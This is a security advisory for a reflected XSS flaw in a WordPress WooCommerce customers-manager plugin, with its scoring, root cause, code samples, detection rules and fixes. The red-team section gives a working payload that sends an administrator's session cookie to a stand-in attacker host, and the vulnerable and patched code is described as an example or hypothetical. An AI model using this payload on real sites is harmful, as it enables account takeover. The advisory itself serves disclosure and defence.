CVE-2025-13369

Executive Summary

CVE-2025-13369 is a Reflected Cross-Site Scripting (XSS) vulnerability affecting the Premmerce WooCommerce Customers Manager plugin for WordPress, up to and including version 1.1.14. The vulnerability resides in the money_spent_from, money_spent_to, registered_from, and registered_to parameters, which are insufficiently sanitized and escaped. An unauthenticated attacker can inject arbitrary web scripts that execute when an administrator clicks a crafted link. This is a WordPress ecosystem issue, not related to the underlying web server.

Supply Chain & Package Security

This vulnerability is in a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The patch status is unknown, indicating a potential supply chain risk for sites using this plugin without a fix.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (administrator must click a link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires social engineering to trick an administrator, but the impact includes potential session hijacking, defacement, or data theft within the WordPress admin context.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS. The plugin's admin-facing pages accept user input via the money_spent_from, money_spent_to, registered_from, and registered_to parameters without proper sanitization or output escaping. When an administrator visits a crafted URL containing malicious JavaScript in these parameters, the script is reflected back and executed in the admin's browser session.

Attack Flow:

1. Attacker crafts a malicious URL: https://target.com/wp-admin/admin.php?page=premmerce-customers&money_spent_from=<script>alert('XSS')</script>
2. Attacker sends the link to an administrator via email, chat, or other means.
3. Administrator clicks the link while authenticated to WordPress.
4. The malicious script executes in the admin's browser, potentially stealing cookies, performing actions on behalf of the admin, or defacing the admin panel.

Root Cause: The plugin fails to use esc_attr() or wp_kses() for output escaping and does not validate or sanitize the input parameters before rendering them in the HTML response.

Vulnerable vs. Patched Code

Vulnerable Code (example from version 1.1.14):

// In admin page rendering
<input type="text" name="money_spent_from" value="<?php echo $_GET['money_spent_from']; ?>" />

Patched Code (hypothetical fix):

// Properly escape output
<input type="text" name="money_spent_from" value="<?php echo esc_attr( $_GET['money_spent_from'] ); ?>" />

The patch would involve using esc_attr() for HTML attribute contexts and esc_html() for general HTML contexts, as well as validating that the input is numeric or expected format.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with Premmerce WooCommerce Customers Manager plugin version 1.1.14 or earlier.
• An administrator account to be tricked.

Exploit Steps:

1. Identify the vulnerable endpoint: /wp-admin/admin.php?page=premmerce-customers
2. Craft a payload that steals the admin's session cookie:

   https://target.com/wp-admin/admin.php?page=premmerce-customers&money_spent_from=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

3. Send the link to the admin (e.g., via email).
4. When the admin clicks, the cookie is exfiltrated to the attacker's server.

No Exploit-DB code provided.

Blue Team

Detection:

• Monitor for unusual parameters in requests to /wp-admin/admin.php with page=premmerce-customers.
• Look for <script> tags or encoded JavaScript in money_spent_from, money_spent_to, registered_from, registered_to parameters.

Hunting:

• Search web server logs for requests containing page=premmerce-customers and suspicious parameter values.
• Use the Sigma rule below to detect XSS attempts.

Indicators of Compromise (IOCs)

• URL Pattern: /wp-admin/admin.php?page=premmerce-customers&money_spent_from=* (with script tags)
• Log Entries: Requests to the above URL with non-numeric values in the parameters.
• Network Traffic: Outbound connections to attacker-controlled domains from the WordPress admin interface.
• File Changes: Unexpected modifications to WordPress admin pages or plugin files.

Detection Engineering

YARA Rule

rule Premmerce_XSS_Reflected {
    meta:
        description = "Detects reflected XSS attempts against Premmerce WooCommerce Customers Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13369"
    strings:
        $param1 = "money_spent_from="
        $param2 = "money_spent_to="
        $param3 = "registered_from="
        $param4 = "registered_to="
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        any of ($param*) and $xss_payload
}

Sigma Rule

title: Reflected XSS in Premmerce WooCommerce Customers Manager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts via money_spent_from, money_spent_to, registered_from, registered_to parameters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13369
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'money_spent_from='
            - 'money_spent_to='
            - 'registered_from='
            - 'registered_to='
        cs-uri-query|re: '<script[^>]*>.*<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-13369 - Reflected XSS in Premmerce WooCommerce Customers Manager";
    flow:to_server,established;
    content:"/wp-admin/admin.php";
    http_uri;
    content:"page=premmerce-customers";
    http_uri;
    pcre:"/(money_spent_from|money_spent_to|registered_from|registered_to)=.*<script[^>]*>.*<\/script>/iU";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Premmerce WooCommerce Customers Manager plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in the vulnerable parameters.
3. Educate administrators about phishing attacks that exploit this vulnerability.

Long-term Fix:

• Apply the official patch from the vendor when released.
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Add the following .htaccess rule to block malicious requests:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (money_spent_from|money_spent_to|registered_from|registered_to)=.*<script [NC]
  RewriteRule .* - [F,L]
  

Valters IT
DevSecOps & Cyber Threat Intelligence